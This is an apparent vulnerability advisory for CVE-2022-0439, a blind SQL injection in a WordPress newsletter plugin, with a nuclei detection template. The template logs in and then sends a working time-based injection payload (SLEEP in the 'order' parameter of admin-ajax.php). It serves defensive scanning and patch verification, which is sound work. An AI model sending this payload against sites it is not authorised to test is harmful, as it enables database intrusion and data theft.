CVE-2022-0439· CWE-89
Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
Impact
Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
Fix
Update to version 5.3.2, or a newer patched version
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 20s
Positive when: duration >= 10 and status_code == 200 and contains(body, "column-email")Run it with nuclei: nuclei -id CVE-2022-0439 -u <target>
The full check
id: CVE-2022-0439
info:
name: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
author: Shivam Kamboj
severity: high
description: |
The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
impact: |
Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
remediation: |
Update to version 5.3.2, or a newer patched version
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0439
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-0439
epss-score: 0.04156
epss-percentile: 0.90953
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
publicwww-query: "/plugins/email-subscribers/"
tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,email-subscribers,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
@timeout: 20s
GET /wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'duration >= 10'
- 'status_code == 200'
- 'contains(body, "column-email")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2022-0439
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
Use this check only on systems you are authorised to test. Where the data comes from